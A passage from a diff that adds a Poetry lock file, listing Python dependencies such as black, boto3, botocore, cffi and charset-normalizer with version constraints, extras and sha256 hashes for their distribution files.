+stevedore = ">=1.20.0" + +[package.extras] +baseline = ["GitPython (>=3.1.30)"] +sarif = ["jschema-to-python (>=1.2.3)", "sarif-om (>=1.0.4)"] +test = ["beautifulsoup4 (>=4.8.0)", "coverage (>=4.5.4)", "fixtures (>=3.0.0)", "flake8 (>=4.0.0)", "pylint (==1.9.4)", "stestr (>=2.5.0)", "testscenarios (>=0.5.0)", "testtools (>=2.3.0)"] +toml = ["tomli (>=1.1.0)"] +yaml = ["PyYAML"] + +[[package]] +name = "beautifulsoup4" +version = "4.13.4" +description = "Screen-scraping library" +optional = false +python-versions = ">=3.7.0" +groups = ["main"] +files = [ + {file = "beautifulsoup4-4.13.4-py3-none-any.whl", hash = "sha256:9bbbb14bfde9d79f38b8cd5f8c7c85f4b8f2523190ebed90e950a8dea4cb1c4b"}, + {file = "beautifulsoup4-4.13.4.tar.gz", hash = "sha256:dbb3c4e1ceae6aefebdaf2423247260cd062430a410e38c66f2baa50a8437195"}, +] + +[package.dependencies] +soupsieve = ">1.2" +typing-extensions = ">=4.0.0" + +[package.extras] +cchardet = ["cchardet"] +chardet = ["chardet"] +charset-normalizer = ["charset-normalizer"] +html5lib = ["html5lib"] +lxml = ["lxml"] + +[[package]] +name = "binaryornot" +version = "0.4.4" +description = "Ultra-lightweight pure Python package to check if a file is binary or text." +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "binaryornot-0.4.4-py2.py3-none-any.whl", hash = "sha256:b8b71173c917bddcd2c16070412e369c3ed7f0528926f70cac18a6c97fd563e4"}, + {file = "binaryornot-0.4.4.tar.gz", hash = "sha256:359501dfc9d40632edc9fac890e19542db1a287bbcfa58175b66658392018061"}, +] + +[package.dependencies] +chardet = ">=3.0.2" + +[[package]] +name = "black" +version = "25.1.0" +description = "The uncompromising code formatter." +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "black-25.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:759e7ec1e050a15f89b770cefbf91ebee8917aac5c20483bc2d80a6c3a04df32"}, + {file = "black-25.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0e519ecf93120f34243e6b0054db49c00a35f84f195d5bce7e9f5cfc578fc2da"}, + {file = "black-25.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:055e59b198df7ac0b7efca5ad7ff2516bca343276c466be72eb04a3bcc1f82d7"}, + {file = "black-25.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:db8ea9917d6f8fc62abd90d944920d95e73c83a5ee3383493e35d271aca872e9"}, + {file = "black-25.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a39337598244de4bae26475f77dda852ea00a93bd4c728e09eacd827ec929df0"}, + {file = "black-25.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:96c1c7cd856bba8e20094e36e0f948718dc688dba4a9d78c3adde52b9e6c2299"}, + {file = "black-25.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bce2e264d59c91e52d8000d507eb20a9aca4a778731a08cfff7e5ac4a4bb7096"}, + {file = "black-25.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:172b1dbff09f86ce6f4eb8edf9dede08b1fce58ba194c87d7a4f1a5aa2f5b3c2"}, + {file = "black-25.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4b60580e829091e6f9238c848ea6750efed72140b91b048770b64e74fe04908b"}, + {file = "black-25.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1e2978f6df243b155ef5fa7e558a43037c3079093ed5d10fd84c43900f2d8ecc"}, + {file = "black-25.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3b48735872ec535027d979e8dcb20bf4f70b5ac75a8ea99f127c106a7d7aba9f"}, + {file = "black-25.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:ea0213189960bda9cf99be5b8c8ce66bb054af5e9e861249cd23471bd7b0b3ba"}, + {file = "black-25.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8f0b18a02996a836cc9c9c78e5babec10930862827b1b724ddfe98ccf2f2fe4f"}, + {file = "black-25.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:afebb7098bfbc70037a053b91ae8437c3857482d3a690fefc03e9ff7aa9a5fd3"}, + {file = "black-25.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:030b9759066a4ee5e5aca28c3c77f9c64789cdd4de8ac1df642c40b708be6171"}, + {file = "black-25.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:a22f402b410566e2d1c950708c77ebf5ebd5d0d88a6a2e87c86d9fb48afa0d18"}, + {file = "black-25.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:a1ee0a0c330f7b5130ce0caed9936a904793576ef4d2b98c40835d6a65afa6a0"}, + {file = "black-25.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3df5f1bf91d36002b0a75389ca8663510cf0531cca8aa5c1ef695b46d98655f"}, + {file = "black-25.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d9e6827d563a2c820772b32ce8a42828dc6790f095f441beef18f96aa6f8294e"}, + {file = "black-25.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:bacabb307dca5ebaf9c118d2d2f6903da0d62c9faa82bd21a33eecc319559355"}, + {file = "black-25.1.0-py3-none-any.whl", hash = "sha256:95e8176dae143ba9097f351d174fdaf0ccd29efb414b362ae3fd72bf0f710717"}, + {file = "black-25.1.0.tar.gz", hash = "sha256:33496d5cd1222ad73391352b4ae8da15253c5de89b93a80b3e2c8d9a19ec2666"}, +] + +[package.dependencies] +click = ">=8.0.0" +mypy-extensions = ">=0.4.3" +packaging = ">=22.0" +pathspec = ">=0.9.0" +platformdirs = ">=2" + +[package.extras] +colorama = ["colorama (>=0.4.3)"] +d = ["aiohttp (>=3.10)"] +jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"] +uvloop = ["uvloop (>=0.15.2)"] + +[[package]] +name = "boto3" +version = "1.34.34" +description = "The AWS SDK for Python" +optional = false +python-versions = ">= 3.8" +groups = ["main"] +files = [ + {file = "boto3-1.34.34-py3-none-any.whl", hash = "sha256:33a8b6d9136fa7427160edb92d2e50f2035f04e9d63a2d1027349053e12626aa"}, + {file = "boto3-1.34.34.tar.gz", hash = "sha256:b2f321e20966f021ec800b7f2c01287a3dd04fc5965acdfbaa9c505a24ca45d1"}, +] + +[package.dependencies] +botocore = ">=1.34.34,<1.35.0" +jmespath = ">=0.7.1,<2.0.0" +s3transfer = ">=0.10.0,<0.11.0" + +[package.extras] +crt = ["botocore[crt] (>=1.21.0,<2.0a0)"] + +[[package]] +name = "botocore" +version = "1.34.162" +description = "Low-level, data-driven core of boto 3." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "botocore-1.34.162-py3-none-any.whl", hash = "sha256:2d918b02db88d27a75b48275e6fb2506e9adaaddbec1ffa6a8a0898b34e769be"}, + {file = "botocore-1.34.162.tar.gz", hash = "sha256:adc23be4fb99ad31961236342b7cbf3c0bfc62532cd02852196032e8c0d682f3"}, +] + +[package.dependencies] +jmespath = ">=0.7.1,<2.0.0" +python-dateutil = ">=2.1,<3.0.0" +urllib3 = {version = ">=1.25.4,<2.2.0 || >2.2.0,<3", markers = "python_version >= \"3.10\""} + +[package.extras] +crt = ["awscrt (==0.21.2)"] + +[[package]] +name = "cachetools" +version = "5.5.2" +description = "Extensible memoizing collections and decorators" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "cachetools-5.5.2-py3-none-any.whl", hash = "sha256:d26a22bcc62eb95c3beabd9f1ee5e820d3d2704fe2967cbe350e20c8ffcd3f0a"}, + {file = "cachetools-5.5.2.tar.gz", hash = "sha256:1a661caa9175d26759571b2e19580f9d6393969e5dfca11fdb1f947a23e640d4"}, +] + +[[package]] +name = "certifi" +version = "2025.8.3" +description = "Python package for providing Mozilla's CA Bundle." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "certifi-2025.8.3-py3-none-any.whl", hash = "sha256:f6c12493cfb1b06ba2ff328595af9350c65d6644968e5d3a2ffd78699af217a5"}, + {file = "certifi-2025.8.3.tar.gz", hash = "sha256:e564105f78ded564e3ae7c923924435e1daa7463faeab5bb932bc53ffae63407"}, +] + +[[package]] +name = "cffi" +version = "1.17.1" +description = "Foreign Function Interface for Python calling C code." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, + {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"}, + {file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"}, + {file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"}, + {file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"}, + {file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"}, + {file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"}, + {file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"}, + {file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"}, + {file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"}, + {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"}, + {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"}, + {file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"}, + {file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"}, + {file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"}, + {file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"}, + {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"}, + {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"}, + {file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"}, + {file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"}, + {file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"}, + {file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"}, + {file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"}, + {file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"}, + {file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"}, + {file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"}, + {file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"}, + {file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"}, +] + +[package.dependencies] +pycparser = "*" + +[[package]] +name = "cfgv" +version = "3.4.0" +description = "Validate configuration and produce human readable error messages." +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "cfgv-3.4.0-py2.py3-none-any.whl", hash = "sha256:b7265b1f29fd3316bfcd2b330d63d024f2bfd8bcb8b0272f8e19a504856c48f9"}, + {file = "cfgv-3.4.0.tar.gz", hash = "sha256:e52591d4c5f5dead8e0f673fb16db7949d2cfb3f7da4582893288f0ded8fe560"}, +] + +[[package]] +name = "chardet" +version = "5.2.0" +description = "Universal encoding detector for Python 3" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "chardet-5.2.0-py3-none-any.whl", hash = "sha256:e1cf59446890a00105fe7b7912492ea04b6e6f06d4b742b2c788469e34c82970"}, + {file = "chardet-5.2.0.tar.gz", hash = "sha256:1b3b6ff479a8c414bc3fa2c0852995695c4a026dcd6d0633b2dd092ca39c1cf7"}, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.2" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "charset_normalizer-3.4.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7c48ed483eb946e6c04ccbe02c6b4d1d48e51944b6db70f697e089c193404941"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b2d318c11350e10662026ad0eb71bb51c7812fc8590825304ae0bdd4ac283acd"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9cbfacf36cb0ec2897ce0ebc5d08ca44213af24265bd56eca54bee7923c48fd6"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:18dd2e350387c87dabe711b86f83c9c78af772c748904d372ade190b5c7c9d4d"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8075c35cd58273fee266c58c0c9b670947c19df5fb98e7b66710e04ad4e9ff86"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5bf4545e3b962767e5c06fe1738f951f77d27967cb2caa64c28be7c4563e162c"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7a6ab32f7210554a96cd9e33abe3ddd86732beeafc7a28e9955cdf22ffadbab0"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:b33de11b92e9f75a2b545d6e9b6f37e398d86c3e9e9653c4864eb7e89c5773ef"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:8755483f3c00d6c9a77f490c17e6ab0c8729e39e6390328e42521ef175380ae6"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:68a328e5f55ec37c57f19ebb1fdc56a248db2e3e9ad769919a58672958e8f366"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:21b2899062867b0e1fde9b724f8aecb1af14f2778d69aacd1a5a1853a597a5db"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-win32.whl", hash = "sha256:e8082b26888e2f8b36a042a58307d5b917ef2b1cacab921ad3323ef91901c71a"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:f69a27e45c43520f5487f27627059b64aaf160415589230992cec34c5e18a509"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:be1e352acbe3c78727a16a455126d9ff83ea2dfdcbc83148d2982305a04714c2"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa88ca0b1932e93f2d961bf3addbb2db902198dca337d88c89e1559e066e7645"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d524ba3f1581b35c03cb42beebab4a13e6cdad7b36246bd22541fa585a56cccd"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:28a1005facc94196e1fb3e82a3d442a9d9110b8434fc1ded7a24a2983c9888d8"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fdb20a30fe1175ecabed17cbf7812f7b804b8a315a25f24678bcdf120a90077f"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0f5d9ed7f254402c9e7d35d2f5972c9bbea9040e99cd2861bd77dc68263277c7"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:efd387a49825780ff861998cd959767800d54f8308936b21025326de4b5a42b9"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f0aa37f3c979cf2546b73e8222bbfa3dc07a641585340179d768068e3455e544"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e70e990b2137b29dc5564715de1e12701815dacc1d056308e2b17e9095372a82"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:0c8c57f84ccfc871a48a47321cfa49ae1df56cd1d965a09abe84066f6853b9c0"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:6b66f92b17849b85cad91259efc341dce9c1af48e2173bf38a85c6329f1033e5"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-win32.whl", hash = "sha256:daac4765328a919a805fa5e2720f3e94767abd632ae410a9062dff5412bae65a"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:e53efc7c7cee4c1e70661e2e112ca46a575f90ed9ae3fef200f2a25e954f4b28"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0c29de6a1a95f24b9a1aa7aefd27d2487263f00dfd55a77719b530788f75cff7"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cddf7bd982eaa998934a91f69d182aec997c6c468898efe6679af88283b498d3"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fcbe676a55d7445b22c10967bceaaf0ee69407fbe0ece4d032b6eb8d4565982a"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d41c4d287cfc69060fa91cae9683eacffad989f1a10811995fa309df656ec214"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e594135de17ab3866138f496755f302b72157d115086d100c3f19370839dd3a"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cf713fe9a71ef6fd5adf7a79670135081cd4431c2943864757f0fa3a65b1fafd"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a370b3e078e418187da8c3674eddb9d983ec09445c99a3a263c2011993522981"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_i686.whl", hash = 